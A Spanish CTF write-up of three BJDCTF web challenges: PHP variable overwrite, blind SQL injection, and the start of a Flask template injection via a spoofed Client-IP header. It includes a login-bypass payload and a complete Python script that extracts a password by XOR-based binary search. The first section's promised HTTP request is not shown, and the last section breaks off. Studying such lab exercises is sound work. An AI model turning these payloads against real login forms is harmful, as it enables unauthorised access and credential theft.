[BJDCTF2020] Mark loves cat: Exploit de Sobrescritura de Variables
El punto de partida para este desafío es la exfiltración del repositorio de código fuente utilizando utilidades especializadas. Una vez obtenido el código localmente, la auditoría se centra en el archivo index.php.
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
// Asignación basada en POST
foreach($_POST as $clave => $valor) {
$$clave = $valor;
}
// Asignación recursiva basada en GET
foreach($_GET as $clave => $valor) {
$$clave = $$valor;
}
// Lógica de verificación
foreach($_GET as $clave => $valor) {
if($_GET['flag'] === $clave && $clave !== 'flag') {
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])) {
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag') {
exit($is);
}
echo "the flag is: ".$flag;
La vulnerabilidad radica en la capacidad de modificar variables de forma dinámica mediante el uso de referencias variables ($$x = $y). El objetivo final es que el script ejecute el echo final mostrando la variable $flag. Sin embargo, existen múltiples puntos de salida prematura con exit().
Al analizar las condiciones de salida, la segunda opción resulta la más accesible:
if(!isset($_GET['flag']) && !isset($_POST['flag'])) {
exit($yds);
}
Esta instrucción termina la ejecución y muestra el contenido de $yds siempre que no se envíen parámetros llamados 'flag'. Para obtener la información real, necesitamos alterar el valor inicial de $yds antes de alcanzar esta condición.
Gracias al bucle foreach($_GET as $x => $y), podemos lograr que $yds tome el valor de la variable $flag. La solicitud HTTP requerida es:
[BJDCTF 2nd] Simple Injection: Inyección SQL a Ciegas
Este escenario presenta un formulario de acceso. Al probar caracteres especiales como comillas simples, se confirma una vulnerabilidad SQLi, aunque existen filtros parciales. En el archivo hint.txt se revela la sentencia consultada:
select * from users where username='$_POST["username"]' and password='$_POST["password"]';
Para escapar la cadena y anular la cláusula de contraseña, podemos utilizar un caracter de barra invertida (\) seguido de la lógica booleana correcta. Una posible carga útil sería introducir una comilla escapada en el usuario y tautoolgía en la contraseña:
- Usuario:
admin\ - Contraseña:
or 1#
Esto transforma la consulta interna para que ignore la valdiación real de credenciales. Dado que hay diferencias visuales entre respuestas correctas e incorrectas, se puede automatizar la extracción mediante una prueba de adivinanza binaria (binary search).
Debido a posibles filtros específicos del entorno, la operación OR podría ser bloqueada durante la ejecución automática del script. En su lugar, se utiliza el operador XOR (^). A continuación se presenta un script adaptado en Python con nombres de variables modificados para mayor claridad:
import requests
endpoint = 'http://30e42e1c-74ab-4d1f-82e8-fcfb7562dfe1.node3.buuoj.cn/index.php'
resultado_final = ''
# Bucle para iterar sobre cada posición del carácter secreto
for indice_posicion in range(1, 50):
rango_maximo = 127
rango_minimo = 32
umbral = (rango_minimo + rango_maximo) // 2
while rango_maximo > rango_minimo:
# Construcción de payload usando XOR para evitar filtros de 'OR'
payload_exploracion = '^/**/(ascii(substr((password),%d,1))>%d)#' % (indice_posicion, umbral)
datos_envio = {
"username": "admin\\",
"password": payload_exploracion
}
respuesta_servidor = requests.post(endpoint, data=datos_envio)
if 'P3rh4ps' in respuesta_servidor.text:
rango_minimo = umbral + 1
else:
rango_maximo = umbral
umbral = (rango_maximo + rango_minimo) // 2
caracter_encontrado = chr(int(rango_maximo))
resultado_final += caracter_encontrado
print(resultado_final)
Ejecutando este algoritmo se obtiene la contraseña correcta, permitiendo acceder al panel administrativo y revelar el flag.
[BJDCTF2020] The mystery of ip: Inyección de Plantillas en Flask
Tras explorar el sitio web y verificar las páginas de sugerencias y flags, se identifica un comportamiento extraño relacionado con la dirección IP del cliente. Inspeccionando el código fuente y las cabeceras, se sospecha una manipulación de identidad de origen.
Usando un proxy interceptador como Burp Suite, observamos que la aplicación está construida sobre el framework Flask, lo cual sugiere riesgos asociados a la evaluación de plantillas. El objetivo es suplantar el encabezado HTTP Client-IP.
Al cambiar la IP a 127.0.0.1 dentro del encabezado personalizado, comenzamos a ver reflejos de errores de sintaxis si introducimos código de plantilla. Esto confirma una vulnerabilidad SSTI (Server-Side Template Injection):